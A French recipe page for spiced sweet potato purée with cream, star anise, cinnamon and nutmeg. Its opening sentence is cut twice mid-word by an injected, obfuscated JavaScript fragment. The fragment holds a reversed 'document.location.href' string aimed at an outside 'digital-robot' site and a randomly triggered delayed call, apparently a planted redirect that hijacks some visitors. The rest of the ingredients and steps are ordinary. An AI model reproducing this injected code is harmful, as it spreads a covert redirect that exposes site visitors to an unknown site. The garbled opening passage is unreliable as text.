Purée de patates douces aux épices

2021-05-20

Versez la crème fleurette dans une casserole, ajoutez les étobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toiles de badiane et le bâtobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}ton de cannelle. Couvrez et laissez infuser pendant 30 minutes.

Ingrédients

  • Pour 4 personnes
  • 600 g de patates douces
  • 20 cl de crème fleurette
  • 1 bâton de cannelle
  • 5 pincées de noix de muscade
  • 2 étoiles de badiane

Préparation de la recette

Etape 1

Versez la crème fleurette dans une casserole, ajoutez les étoiles de badiane et le bâton de cannelle.

Etape 2

Couvrez et laissez infuser pendant 30 minutes.

Etape 3

Pelez, rincez, coupez en cubes les patates douces.

Etape 4

Faites les cuire dans une eau bouillante salée pendant 10 minutes environ.

Etape 5

Vérifiez la cuisson en les piquants avec la pointe d'un couteau.

Etape 6

Les égoutter, les écraser avec une fourchette où un presse purée.

Etape 7

Ôtez le bâton de cannelle et les étoiles de badiane.

Etape 8

Mélangez la purée avec la crème fleurette parfumée ainsi que les pincées de noix de muscade.

Etape 9

Goûtez l'assaisonnement et dégustez

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